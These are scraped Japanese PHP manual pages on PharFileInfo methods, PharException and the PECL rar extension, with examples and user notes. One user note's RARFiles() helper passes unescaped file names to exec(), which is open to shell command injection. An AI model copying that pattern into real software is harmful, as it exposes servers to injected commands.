    $p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
    var_dump($p['file.txt']->getMetadata());
} catch (Exception $e) {
    echo 'brandnewphar.phar を作成/変更できません: ', $e;
}
?>

上の例の出力は以下となります。

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

参考

  • PharFileInfo::setMetadata() - ファイルとともに保存する、ファイル固有のメタデータを設定する
  • PharFileInfo::hasMetadata() - エントリのメタデータを返す
  • PharFileInfo::delMetadata() - エントリのメタデータを削除する
  • Phar::setMetadata() - phar アーカイブのメタデータを設定する
  • Phar::hasMetadata() - ファイルがグローバルなメタデータを持つかどうかを返す
  • Phar::getMetadata() - phar アーカイブのメタデータを返す

User Contributed Notes

There are no user contributed notes for this page.


Phar ファイルエントリのフラグを返す

  • ≪ PharFileInfo::getMetadata
  • PharFileInfo::hasMetadata ≫
  • PHP Manual
  • PharFileInfo
  • Phar ファイルエントリのフラグを返す

PharFileInfo::getPharFlags

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

PharFileInfo::getPharFlags — Phar ファイルエントリのフラグを返す

説明

public PharFileInfo::getPharFlags ( ) : int

この関数は、Phar のマニフェスト内のフラグセットを返します。 現在の実装では、これは常に 0 を返します。

返り値

Phar フラグを返します (現在の実装では、常に 0 となります)。

例

例1 PharFileInfo::getPharFlags() の例

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->getPharFlags());
} catch (Exception $e) {
    echo 'my.phar を作成/変更できません: ', $e;
}
?>

上の例の出力は以下となります。

int(0)

User Contributed Notes

There are no user contributed notes for this page.


エントリのメタデータを返す

  • ≪ PharFileInfo::getPharFlags
  • PharFileInfo::isCRCChecked ≫
  • PHP Manual
  • PharFileInfo
  • エントリのメタデータを返す

PharFileInfo::hasMetadata

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.2.0)

PharFileInfo::hasMetadata — エントリのメタデータを返す

説明

public PharFileInfo::hasMetadata ( ) : bool

phar アーカイブ内のファイルのメタデータを返します。

パラメータ

パラメータはありません。

返り値

メタデータが設定されていないかあるいは null が設定されている場合に false、 null 以外のメタデータが設定されている場合に true を返します。

参考

  • PharFileInfo::setMetadata() - ファイルとともに保存する、ファイル固有のメタデータを設定する
  • PharFileInfo::getMetadata() - ファイルとともに保存されている、ファイル固有のメタデータを返す
  • PharFileInfo::delMetadata() - エントリのメタデータを削除する
  • Phar::setMetadata() - phar アーカイブのメタデータを設定する
  • Phar::hasMetadata() - ファイルがグローバルなメタデータを持つかどうかを返す
  • Phar::getMetadata() - phar アーカイブのメタデータを返す

User Contributed Notes

There are no user contributed notes for this page.


ファイルエントリの CRC が検証されているかどうかを調べる

  • ≪ PharFileInfo::hasMetadata
  • PharFileInfo::isCompressed ≫
  • PHP Manual
  • PharFileInfo
  • ファイルエントリの CRC が検証されているかどうかを調べる

PharFileInfo::isCRCChecked

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

PharFileInfo::isCRCChecked — ファイルエントリの CRC が検証されているかどうかを調べる

説明

public PharFileInfo::isCRCChecked ( ) : bool

これは、Phar アーカイブ内のファイルが CRC 検証されているかどうかを返します。

返り値

そのファイルの CRC が検証されている場合に true、 そうでない場合に false を返します。

例

例1 PharFileInfo::isCRCChecked() の例

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCRCChecked());
} catch (Exception $e) {
    echo 'my.phar の作成/変更に失敗しました: ', $e;
}
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


エントリが圧縮されているかどうかを調べる

  • ≪ PharFileInfo::isCRCChecked
  • PharFileInfo::setMetadata ≫
  • PHP Manual
  • PharFileInfo
  • エントリが圧縮されているかどうかを調べる

PharFileInfo::isCompressed

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

PharFileInfo::isCompressed — エントリが圧縮されているかどうかを調べる

説明

public PharFileInfo::isCompressed ( int $compression_type = 9021976 ) : bool

これは、Phar アーカイブ内のファイルが Gzip あるいは Bzip2 で圧縮されているかどうかを返します。

パラメータ

compression_type

Phar::GZ あるいは Phar::BZ2 のいずれか。デフォルトは任意の圧縮形式となります。

返り値

Phar アーカイブ内のファイルが圧縮されている場合に true、 そうでない場合に false を返します。

例

例1 PharFileInfo::isCompressed() の例

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $p['myfile2.txt'] = 'hi';
    $p['myfile2.txt']->setCompressedGZ();
    $file = $p['myfile.txt'];
    $file2 = $p['myfile2.txt'];
    var_dump($file->isCompressed());
    var_dump($file2->isCompressed());
} catch (Exception $e) {
    echo 'my.phar の作成/変更に失敗しました: ', $e;
}
?>

上の例の出力は以下となります。

bool(false)
bool(true)

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • Phar::decompress() - Phar アーカイブ全体の圧縮を解除する
  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する

User Contributed Notes

There are no user contributed notes for this page.


ファイルとともに保存する、ファイル固有のメタデータを設定する

  • ≪ PharFileInfo::isCompressed
  • PharException ≫
  • PHP Manual
  • PharFileInfo
  • ファイルとともに保存する、ファイル固有のメタデータを設定する

PharFileInfo::setMetadata

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

PharFileInfo::setMetadata — ファイルとともに保存する、ファイル固有のメタデータを設定する

説明

public PharFileInfo::setMetadata ( mixed $metadata ) : void

PharFileInfo::setMetadata() を使用するのは、 既存のファイル情報としては表せない独自の情報を保存する場合のみに限るべきです。 メタデータを使用すると、phar アーカイブの読み込み時のパフォーマンスが劇的に低下します。これは、 メタデータのサイズが大きい場合やメタデータを含むファイルが大量にある場合に顕著になります。 ファイルのパーミッションについては phar 自体でネイティブにサポートしており、 PharFileInfo->chmod() で設定できることを覚えておきましょう。 この関数は phar の内容を変更するので、Phar アーカイブ内のファイルを操作するには INI 設定 phar.readonly がオフでなければなりません。 PharData アーカイブ内のファイルについては、この制約はありません。

メタデータの使用例として考えられるのは、ユーザー/グループ を指定し、phar からディスクに展開する際にそれを設定することなどです。 ほかには、MIME 型として返す値を明示的に指定することなどがあります。 その他、ファイルについて説明するデータであるが ファイル自体に含むべきでないものを保存したりします。

パラメータ

metadata

ファイルとともに保存する情報を含む、PHP の変数。

返り値

値を返しません。

例

例1 PharFileInfo::setMetadata() の例

<?php
// 確実に消しておきます
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.txt'] = 'hello';
    $p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
    var_dump($p['file.txt']->getMetaData());
} catch (Exception $e) {
    echo 'phar を作成/変更できません:', $e;
}
?>

上の例の出力は以下となります。

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

参考

  • PharFileInfo::hasMetadata() - エントリのメタデータを返す
  • PharFileInfo::getMetadata() - ファイルとともに保存されている、ファイル固有のメタデータを返す
  • PharFileInfo::delMetadata() - エントリのメタデータを削除する
  • Phar::setMetadata() - phar アーカイブのメタデータを設定する
  • Phar::hasMetadata() - ファイルがグローバルなメタデータを持つかどうかを返す
  • Phar::getMetadata() - phar アーカイブのメタデータを返す

User Contributed Notes

There are no user contributed notes for this page.


PharException クラス

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

はじめに

PharException クラスは、try/catch ブロックで使用するための phar 固有の例外クラスです。

クラス概要

PharException extends Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

kh dot jaylin at gmail dot com 16-Aug-2018 05:31
Addition:

<!DOCTYPE html>
<html>
<body>

<?php
$x = 10;
$y = 6;

echo $x + $y;
?>

</body>
</html>

Check more details on: http://www.elivestory.com/


Rar アーカイブ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • Rar 関数
    • rar_wrapper_cache_stats — URL ラッパーのキャッシュのヒット数
  • RarArchive — RarArchive クラス
    • RarArchive::close — Rar アーカイブをクローズし、全リソースを開放する
    • RarArchive::getComment — RAR アーカイブのコメントテキストを取得する
    • RarArchive::getEntries — RAR アーカイブからエントリの全一覧を取得する
    • RarArchive::getEntry — Rar アーカイブからエントリオブジェクトを取得する
    • RarArchive::isBroken — アーカイブが壊れている (未完成である) かどうかを調べる
    • RarArchive::isSolid — RAR アーカイブがソリッドであるかどうかを調べる
    • RarArchive::open — Rar アーカイブをオープンする
    • RarArchive::setAllowBroken — 壊れたアーカイブのオープンを許可するかどうかを設定する
    • RarArchive::__toString — テキスト形式で取得する
  • RarEntry — The RarEntry class
    • RarEntry::extract — アーカイブのエントリを展開する
    • RarEntry::getAttr — エントリの属性を取得する
    • RarEntry::getCrc — エントリの CRC を取得する
    • RarEntry::getFileTime — エントリの最終更新時刻を取得する
    • RarEntry::getHostOs — エントリのホスト OS を取得する
    • RarEntry::getMethod — エントリの圧縮方法を取得する
    • RarEntry::getName — エントリの名前を取得する
    • RarEntry::getPackedSize — 圧縮後のエントリのサイズを取得する
    • RarEntry::getStream — このエントリのファイルハンドラを取得する
    • RarEntry::getUnpackedSize — 展開後のエントリのサイズを取得する
    • RarEntry::getVersion — このエントリを展開するのに必要な RAR プログラムの最低バージョンを取得する
    • RarEntry::isDirectory — このエントリがディレクトリであるかどうかを調べる
    • RarEntry::isEncrypted — このエントリが暗号化されているかどうかを調べる
    • RarEntry::__toString — エントリのテキスト表現を取得する
  • RarException — RarException クラス
    • RarException::isUsingExceptions — 例外によるエラー処理を使っているかどうかを調べる
    • RarException::setUsingExceptions — 例外によるエラー処理の有効化および無効化を行う

User Contributed Notes

Ray.Paseur sometimes uses Gmail 11-Feb-2021 06:02
The package does not appear to be "dead" at all; the changelog includes PHP8
https://pecl.php.net/package-changelog.php?package=rar
SL 19-Aug-2020 01:48
Officially it support only php 5.3 to 7.1.  With some luck it works on some 7.2 versions.

The bug reports on the rar pecl-site aren't modified for years.

I think this documentation on php.net should be removed, rar support is dead


はじめに

RAR は、Eugene Roshal が作成した強力で効率的なアーカイバです。 この拡張モジュールは unRAR ライブラリを使用していますが、 このライブラリは Rar アーカイブの読み込みしかサポートしていません。 unRAR のソースを使用して RAR/WinRAR アーカイバを作成することは、 unRAR のライセンス上で禁じられています。

RAR および unRAR についてのより詳細な情報は » http://www.rarlabs.com/ で見つけられます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

Rar 拡張モジュールは、現在 PECL » https://pecl.php.net/package/rar で取得可能です。

また、以下のコマンドを使用して PECL インストーラで Rar 拡張モジュールを インストールすることができます。pecl -v install rar

tar.gz パッケージをダウンロードし、Rar を手動でインストールすることも可能です。

例1 Rar のインストール

gunzip rar-xxx.tgz
tar -xvf rar-xxx.tar
cd rar-xxx
phpize
./configure && make && make install

Windows ユーザーがこれらの関数を使用するには、php_rar.dll を php.ini で有効にします。 この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

ohcc at 163 dot com 07-Nov-2015 07:17
Windows users download php_rar.dll at http://pecl.php.net/package/rar

0. click the DLL link for Windows

1. download php_rar.dll for your php version

2. copy php_rar.dll to the "ext" folder

3. append the following directive to the [php] section of your working php.ini, you can search "extension=" and append it to the last extension directive.

extension=php_rar.dll

4. restart your web server and enjoy.
t dot dekker at student dot utwente dot nl 04-Dec-2011 01:54
Easiest way to install the current version for PHP5 on Debian is as below. You may need additional packages if you don't have the basics like GCC installed. Also, start in a temporary directory since many junk files are created.

sudo apt-get install php5-dev dh-make-php fakeroot xsltproc
dh-make-pecl --only 5 rar
cd php-rar-3.0.0
dpkg-buildpackage
sudo dpkg -i ../php5-rar_3.0.0-1_amd64.deb
cristianbzdg at botosani dot ro 27-Nov-2010 08:21
After installing RAR 2.0.0 extension in PHP 5.3.3 on OpenSUSE 11.3 using pecl command line, i had to enable it by creating a file named
/etc/php5/conf.d/rar.ini
which contains this line
extension=rar.so


リソース型

この拡張モジュールは三つの内部クラスを使います。 rar_open() が返すアーカイブをあらわすクラス RarArchive、 rar_list() や rar_entry_get() が返すエントリをあらわすクラス RarEntry、そして例外をあらわす RarException です。

この拡張モジュールは、ストリームリソース "rar" も登録します。 また、URL ラッパー "rar ラッパー" も登録し、プレフィックス "rar" で使うことができます。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

RAR_HOST_MSDOS (int)
かわりに RarEntry::HOST_MSDOS を使います。
RAR_HOST_OS2 (int)
かわりに RarEntry::HOST_OS2 を使います。
RAR_HOST_WIN32 (int)
かわりに RarEntry::HOST_WIN32 を使います。
RAR_HOST_UNIX (int)
かわりに RarEntry::HOST_UNIX を使います。
RAR_HOST_BEOS (int)
かわりに RarEntry::HOST_BEOS を使います。

User Contributed Notes

There are no user contributed notes for this page.


例

rar:// ラッパー の例も参照ください。

例1 オンザフライでの復元

<?php

if (!array_key_exists("i", $_GET) || !is_numeric($_GET["i"]))
    die("Index unspecified or non-numeric");
$index = (int) $_GET["i"];

$arch = RarArchive::open("example.rar");
if ($arch === FALSE)
    die("Cannot open example.rar");

$entries = $arch->getEntries();
if ($entries === FALSE)
    die("Cannot retrieve entries");

if (!array_key_exists($index, $entries))
    die("No such index: $index");

$orfilename = $entries[$index]->getName(); //UTF-8 encoded

$filesize = $entries[$index]->getUnpackedSize();

/* you could check HTTP_IF_MODIFIED_SINCE here and compare with
 * $entries[$index]->getFileTime(). You could also send a
 * "Last modified" header */

$fp = $entries[$index]->getStream();
if ($fp === FALSE)
    die("Cannot open file with index $index insided the archive.");

$arch->close(); //no longer needed; stream is independent

function detectUserAgent() {
    if (!array_key_exists('HTTP_USER_AGENT', $_SERVER))
        return "Other";

    $uas = $_SERVER['HTTP_USER_AGENT'];
    if (preg_match("@Opera/@", $uas))
        return "Opera";
    if (preg_match("@Firefox/@", $uas))
        return "Firefox";
    if (preg_match("@Chrome/@", $uas))
        return "Chrome";
    if (preg_match("@MSIE ([0-9.]+);@", $uas, $matches)) {
        if (((float)$matches[1]) >= 7.0)
            return "IE";
    }

    return "Other";
}

/*
 * We have 3 options:
 * - For FF and Opera, which support RFC 2231, use that format.
 * - For IE and Chrome, use attwithfnrawpctenclong
 *   (http://greenbytes.de/tech/tc2231/#attwithfnrawpctenclong)
 * - For the others, convert to ISO-8859-1, if possible
 */
$formatRFC2231 = 'Content-Disposition: attachment; filename*=UTF-8\'\'%s';
$formatDef = 'Content-Disposition: attachment; filename="%s"';

switch (detectUserAgent()) {
    case "Opera":
    case "Firefox":
        $orfilename = rawurlencode($orfilename);
        $format = $formatRFC2231;
        break;

    case "IE":
    case "Chrome":
        $orfilename = rawurlencode($orfilename);
        $format = $formatDef;
        break;
    default:
        if (function_exists('iconv'))
            $orfilename =
                @iconv("UTF-8", "ISO-8859-1//TRANSLIT", $orfilename);
        $format = $formatDef;
}

header(sprintf($format, $orfilename));
//cannot send error messages from now on (headers already sent)

//replace by real content type, perhaps infering from the file extension
$contentType = "application/octet-stream";
header("Content-Type: $contentType");

header("Content-Transfer-Encoding: binary");

header("Content-Length: $filesize");

if ($_SERVER['REQUEST_METHOD'] == "HEAD")
    die();

while (!feof($fp)) {
    $s = @fread($fp, 8192);
    if ($s === false)
        break; //useless to send error messages

    echo $s;
}
?>

この例は、RAR ファイルを開いて指定したファイルを RAR アーカイブ内から取り出し、 クライアントにダウンロードさせます。

例2 RAR 拡張モジュールでの展開の例

<?php

$rar_file = rar_open('example.rar') or die("Rar アーカイブをオープンできません。");

$entries = rar_list($rar_file);

foreach ($entries as $entry) {
    echo 'ファイル名: ' . $entry->getName() . "\n";
    echo '圧縮時のファイルサイズ: ' . $entry->getPackedSize() . "\n";
    echo '展開後のファイルサイズ: ' . $entry->getUnpackedSize() . "\n";

    $entry->extract('/dir/extract/to/');
}

rar_close($rar_file);

?>

この例は Rar アーカイブファイルをオープンし、 指定したディレクトリに個々のファイルを展開します。

User Contributed Notes

Nitrogen 17-Nov-2010 08:43
A veeery simple function to RAR files, I'm not proud of it.
Since there's no way to create RAR files in PHP (due to licensing, patents or whatever), I'm taking some advantage from the command-line RARing tool that comes with WinRAR (in the WinRAR program files named "rar.exe").

<?php
function RARFiles($Output='output.rar',$Files=array()) {
  $Data='';
  for($i=0;$i<count($Files);$i++)
    $Data.="\"{$Files[$i]}\" ";
  exec("rar.exe a \"{$Output}\" {$Data}");
}

$Files=array('file1.ext','file2.ext','file3.ext');
RARFiles('asdf.rar',$Files);
// asdf.rar created.
?>

There's no error checking, so make sure you check that your expected RAR file exists before doing anything with it.
Hopefully one day, PHP will be able to be allowed to create RAR files.


Rar 関数

目次

  • rar_wrapper_cache_stats — URL ラッパーのキャッシュのヒット数

User Contributed Notes

There are no user contributed notes for this page.


URL ラッパーのキャッシュのヒット数

  • ≪ Rar 関数
  • RarArchive ≫
  • PHP Manual
  • Rar 関数
  • URL ラッパーのキャッシュのヒット数

rar_wrapper_cache_stats

(PECL rar >= 3.0.0)

rar_wrapper_cache_stats — URL ラッパーのキャッシュのヒット数

説明

rar_wrapper_cache_stats ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


RarArchive クラス

(PECL rar >= 2.0.0)

はじめに

このクラスは RAR アーカイブをあらわします。これは複数のパーツで構成されることもあり、 中に RAR エントリ (ファイルやディレクトリ、そしてシンボリックリンクなどの特殊なオブジェクト) を含みます。

このクラスのオブジェクトの中身を走査したり、RAR アーカイブに格納されているエントリを取り出したりすることができます。 このエントリは、RarArchive::getEntry() や RarArchive::getEntries() を使って取得することもできます。

クラス概要

final RarArchive implements Traversable {
/* メソッド */
public close ( ) : bool
public getComment ( ) : string
public getEntries ( ) : array|false
public getEntry ( string $entryname ) : RarEntry|false
public isBroken ( ) : bool
public isSolid ( ) : bool
public static open ( string $filename , string $password = NULL , callable $volume_callback = NULL ) : RarArchive|false
public setAllowBroken ( bool $allow_broken ) : bool
public __toString ( ) : string
}

目次

  • RarArchive::close — Rar アーカイブをクローズし、全リソースを開放する
  • RarArchive::getComment — RAR アーカイブのコメントテキストを取得する
  • RarArchive::getEntries — RAR アーカイブからエントリの全一覧を取得する
  • RarArchive::getEntry — Rar アーカイブからエントリオブジェクトを取得する
  • RarArchive::isBroken — アーカイブが壊れている (未完成である) かどうかを調べる
  • RarArchive::isSolid — RAR アーカイブがソリッドであるかどうかを調べる
  • RarArchive::open — Rar アーカイブをオープンする
  • RarArchive::setAllowBroken — 壊れたアーカイブのオープンを許可するかどうかを設定する
  • RarArchive::__toString — テキスト形式で取得する

User Contributed Notes

There are no user contributed notes for this page.


Rar アーカイブをクローズし、全リソースを開放する

  • ≪ RarArchive
  • RarArchive::getComment ≫
  • PHP Manual
  • RarArchive
  • Rar アーカイブをクローズし、全リソースを開放する

RarArchive::close

rar_close

(PECL rar >= 2.0.0)

RarArchive::close -- rar_close — Rar アーカイブをクローズし、全リソースを開放する

説明

オブジェクト指向型 (メソッド)

public RarArchive::close ( ) : bool

手続き型:

rar_close ( RarArchive $rarfile ) : bool

Rar アーカイブをクローズし、割り当てられた全リソースを開放します。

パラメータ

rarfile

rar_open() でオープンした RarArchive オブジェクト。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL rar 2.0.0 | RarArchive::getEntry() や RarArchive::getEntries() が返した RAR エントリは、 このメソッドをコールした時点で無効になります。 これらのエントリのインスタンスメソッドをコールしても、成功は保証できないということです。

例

例1 オブジェクト指向型

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

上の例の出力は、 たとえば以下のようになります。

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

例2 手続き型

<?php
$rar_arch = rar_open('latest_winrar.rar');
echo $rar_arch."\n";
rar_close($rar_arch);
echo $rar_arch."\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


RAR アーカイブのコメントテキストを取得する

  • ≪ RarArchive::close
  • RarArchive::getEntries ≫
  • PHP Manual
  • RarArchive
  • RAR アーカイブのコメントテキストを取得する

RarArchive::getComment

rar_comment_get

(PECL rar >= 2.0.0)

RarArchive::getComment -- rar_comment_get — RAR アーカイブのコメントテキストを取得する

説明

オブジェクト指向型 (メソッド)

public RarArchive::getComment ( ) : string

手続き型:

rar_comment_get ( RarArchive $rarfile ) : string

RAR アーカイブに格納された (グローバル) コメントを取得します。長さは最大 64 KiB までです。

注意:

この拡張モジュールは、エントリごとのコメントをサポートしていません。

パラメータ

rarfile

rar_open() でオープンした RarArchive オブジェクト。

返り値

コメントを返します。コメントがない場合は null を返します。

注意:

RAR は現在 unicode のコメントに対応していません。この関数の結果のエンコーディングは指定されていませんが、 おそらく Windows-1252 となるでしょう。

例

例1 オブジェクト指向型

<?php
$rar_arch = RarArchive::open('commented.rar');
echo $rar_arch->getComment();
?>

上の例の出力は、 たとえば以下のようになります。

This is the comment of the file commented.rar.

例2 手続き型

<?php
$rar_arch = rar_open('commented.rar');
echo rar_comment_get($rar_arch);
?>

User Contributed Notes

There are no user contributed notes for this page.


RAR アーカイブからエントリの全一覧を取得する

  • ≪ RarArchive::getComment
  • RarArchive::getEntry ≫
  • PHP Manual
  • RarArchive
  • RAR アーカイブからエントリの全一覧を取得する

RarArchive::getEntries

rar_list

(PECL rar >= 2.0.0)

RarArchive::getEntries -- rar_list — RAR アーカイブからエントリの全一覧を取得する

説明

オブジェクト指向型 (メソッド)

public RarArchive::getEntries ( ) : array|false

手続き型:

rar_list ( RarArchive $rarfile ) : array|false

エントリ (ファイルおよびディレクトリ) の一覧を RAR アーカイブから取得します。

注意:

アーカイブの中に同じ名前のエントリが存在する場合は、このメソッドを RarArchive の foreach と組み合わせて 数値添字の配列形式で処理するのが唯一のアクセス方法となります (つまり、 RarArchive::getEntry() と rar:// ラッパー は使えないということです)。

パラメータ

rarfile

rar_open() でオープンした RarArchive オブジェクト。

返り値

rar_list() は RarEntry オブジェクトの配列を返します。 失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL rar 3.0.0 | エントリ名が繰り返される RAR アーカイブも対応するようになりました。

例

例1 オブジェクト指向型

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");

$rar_entries = $rar_arch->getEntries();
if ($rar_entries === FALSE)
    die("Could not retrieve entries.");

echo "Found " . count($rar_entries) . " entries.\n";

foreach ($rar_entries as $e) {
    echo $e;
    echo "\n";
}
$rar_arch->close();
?>

上の例の出力は、 たとえば以下のようになります。

Found 2 entries.
RarEntry for file "tese.txt" (23b93a7a)
RarEntry for file "unrardll.txt" (2ed64b6e)

例2 手続き型

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");

$rar_entries = rar_list($rar_arch);
if ($rar_entries === FALSE)
    die("Could retrieve entries.");

echo "Found " . count($rar_entries) . " entries.\n";

foreach ($rar_entries as $e) {
    echo $e;
    echo "\n";
}
rar_close($rar_arch);
?>

参考

  • RarArchive::getEntry() - Rar アーカイブからエントリオブジェクトを取得する
  • rar:// ラッパー

User Contributed Notes

Anonymous 19-Nov-2014 02:49
at the examples line 7 should be:
    die("Could NOT retrieve entries.");
grap at hot dot ee 24-Jan-2013 02:01
Can be usefult for many, probably:
<?php
$path  = 'path/to/archive';

$archive = RarArchive::open($path);
$list       = $archive ->getEntries();
foreach ($list as $entity) {
    //print just title of file from archive(use getters to access other fields, etc)
    echo $value->getName();
}
?>


Rar アーカイブからエントリオブジェクトを取得する

  • ≪ RarArchive::getEntries
  • RarArchive::isBroken ≫
  • PHP Manual
  • RarArchive
  • Rar アーカイブからエントリオブジェクトを取得する

RarArchive::getEntry

rar_entry_get

(PECL rar >= 2.0.0)

RarArchive::getEntry -- rar_entry_get — Rar アーカイブからエントリオブジェクトを取得する

説明

オブジェクト指向型 (メソッド)

public RarArchive::getEntry ( string $entryname ) : RarEntry|false

手続き型:

rar_entry_get ( RarArchive $rarfile , string $entryname ) : RarEntry|false

Rar アーカイブから、エントリオブジェクト (ファイルあるいはディレクトリ) を取得します。

注意:

RarArchive::getEntries() を使ってエントリオブジェクトを取得することもできます。

RAR アーカイブには、同じ名前のエントリを複数格納することができます。 このメソッドでは、その中の最初のものしか取得できません。

パラメータ

rarfile

rar_open() でオープンした RarArchive オブジェクト。

entryname

Rar アーカイブ内のエントリへのパス。

注意:

このパスは、 RarEntry::getName() が返すものと同じでなければなりません。

返り値

マッチした RarEntry オブジェクトを返します。失敗した場合に false を返します。

例

例1 オブジェクト指向型

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");
$rar_entry = $rar_arch->getEntry('tese.txt');
if ($rar_entry === FALSE)
    die("Could not get such entry");
echo get_class($rar_entry)."\n";
echo $rar_entry;
$rar_arch->close();
?>

上の例の出力は、 たとえば以下のようになります。

RarEntry
RarEntry for file "tese.txt" (23b93a7a)

例2 手続き型

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");
$rar_entry = rar_entry_get($rar_arch, 'tese.txt');
if ($rar_entry === FALSE)
    die("Could not get such entry");
echo get_class($rar_entry)."\n";
echo $rar_entry;
rar_close($rar_arch);
?>

参考

  • RarArchive::getEntries() - RAR アーカイブからエントリの全一覧を取得する
  • rar:// ラッパー

User Contributed Notes

There are no user contributed notes for this page.


アーカイブが壊れている (未完成である) かどうかを調べる

  • ≪ RarArchive::getEntry
  • RarArchive::isSolid ≫
  • PHP Manual
  • RarArchive
  • アーカイブが壊れている (未完成である) かどうかを調べる

RarArchive::isBroken

rar_broken_is

(PECL rar >= 3.0.0)

RarArchive::isBroken -- rar_broken_is — アーカイブが壊れている (未完成である) かどうかを調べる

説明

オブジェクト指向型 (メソッド)

public RarArchive::isBroken ( ) : bool

手続き型:

rar_broken_is ( RarArchive $rarfile ) : bool

この関数は、アーカイブが不完全である (ボリュームがなかったり、ボリュームが途中で終わっていたりする) かどうかを調べます。

パラメータ

rarfile

rar_open() でオープンした RarArchive オブジェクト。

返り値

アーカイブが壊れている場合に true、壊れていない場合に false を返します。 この関数は、渡されたファイルがすでに閉じている場合にも false を返します。どちらの原因かを特定するには exceptions with RarException::setUsingExceptions() で例外を有効にするしかありませんが、普通は閉じたファイルを操作することはないので これは不要なはずです。

例

例1 オブジェクト指向型

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument is used to omit notice */
$arch = RarArchive::open($file, null, 'retnull');
var_dump($arch->isBroken());
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)

例2 手続き型

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument is used to omit notice */
$arch = rar_open($file, null, 'retnull');
var_dump(rar_broken_is($arch));
?>

参考

  • RarArchive::setAllowBroken() - 壊れたアーカイブのオープンを許可するかどうかを設定する

User Contributed Notes

There are no user contributed notes for this page.


RAR アーカイブがソリッドであるかどうかを調べる

  • ≪ RarArchive::isBroken
  • RarArchive::open ≫
  • PHP Manual
  • RarArchive
  • RAR アーカイブがソリッドであるかどうかを調べる

RarArchive::isSolid

rar_solid_is

(PECL rar >= 2.0.0)

RarArchive::isSolid -- rar_solid_is — RAR アーカイブがソリッドであるかどうかを調べる

説明

オブジェクト指向型 (メソッド)

public RarArchive::isSolid ( ) : bool

手続き型:

rar_solid_is ( RarArchive $rarfile ) : bool

RAR アーカイブがソリッドであるかどうかを調べます。ソリッドなアーカイブでは、 個々のファイルの抽出速度が遅くなります。

パラメータ

rarfile

rar_open() でオープンした RarArchive オブジェクト。

返り値

アーカイブがソリッドである場合に true、それ以外の場合に false を返します。

例

例1 オブジェクト指向型

<?php
$arch1 = RarArchive::open("store_method.rar");
$arch2 = RarArchive::open("solid.rar");
echo "$arch1: " . ($arch1->isSolid()?'yes':'no') ."\n";
